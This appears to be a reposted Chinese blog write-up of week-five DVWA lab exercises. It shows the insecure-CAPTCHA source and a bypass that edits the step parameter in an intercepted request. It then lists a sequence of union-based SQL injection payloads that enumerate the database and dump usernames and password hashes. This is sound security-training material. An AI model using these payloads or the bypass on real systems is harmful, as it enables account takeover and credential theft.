栏目分类:
子分类:
返回
名师互学网用户登录
快速导航关闭
当前搜索
当前分类
子分类
实用工具
热门搜索
名师互学网 > IT > 软件开发 > 后端开发 > Java

DVWA(第五周)

Java 更新时间: 发布时间: IT归档 最新发布 模块sitemap 名妆网 法律咨询 聚返吧 英语巴士网 伯小乐 网商动力

DVWA(第五周)

不安全的验证码

查看源码


The CAPTCHA was incorrect. Please try again.
"; $hide_form = false; return; } else { // CAPTCHA was correct. Do both new passwords match? if( $pass_new == $pass_conf ) { // Show next stage for the user echo "

You passed the CAPTCHA! Click the button to confirm your changes.
"; } else { // Both new passwords do not match. $html .= "
Both passwords must match.
"; $hide_form = false; } } } //第二阶段,检测两次密码是否一致,并更新密码 if( isset( $_POST[ 'Change' ] ) && ( $_POST[ 'step' ] == '2' ) ) { // Hide the CAPTCHA form $hide_form = true; // Get input $pass_new = $_POST[ 'password_new' ]; $pass_conf = $_POST[ 'password_conf' ]; // Check to see if both password match if( $pass_new == $pass_conf ) { // They do! $pass_new = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $pass_new ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : "")); $pass_new = md5( $pass_new ); // Update database $insert = "UPDATE `users` SET password = '$pass_new' WHERe user = '" . dvwaCurrentUser() . "';"; $result = mysqli_query($GLOBALS["___mysqli_ston"], $insert ) or die( '
' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '
' ); // Feedback for the end user echo "
Password Changed.
"; } else { // Issue with the passwords matching echo "
Passwords did not match.
"; $hide_form = false; } ((is_null($___mysqli_res = mysqli_close($GLOBALS["___mysqli_ston"]))) ? false : $___mysqli_res); } ?>

分为两步:

step1,对用户的身份进行验证,验证成功才能进行密码修改;

step2,两次输入的密码一致,才可以进行修改。

用burp抓包

将step=1改为step=2即可 。

SQL 注入

输入1

输入1 and 1=2

 

输入1' and 1=2 

可判断id含有单引号。

分别输入1' order by 2#,1' order by 3#。

当输入1' order by 3#时出错

则字段为2 

使用联合查询1' union select 1,2#查看回显

查看数据库名 1' union select 1,database()# 

查看表名 1' union select 1, group_concat(table_name) from information_schema,tables where table_schema=database()#

查看字段 1 ' union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='users' #

查看数据 1 ' union select group_concat(user),group_concat(password) from users #

转载请注明:文章转载自 www.mshxw.com
本文地址:https://www.mshxw.com/it/736931.html
我们一直用心在做
关于我们 文章归档 网站地图 联系我们

版权所有 (c)2021-2022 MSHXW.COM

ICP备案号:晋ICP备2021003244-6号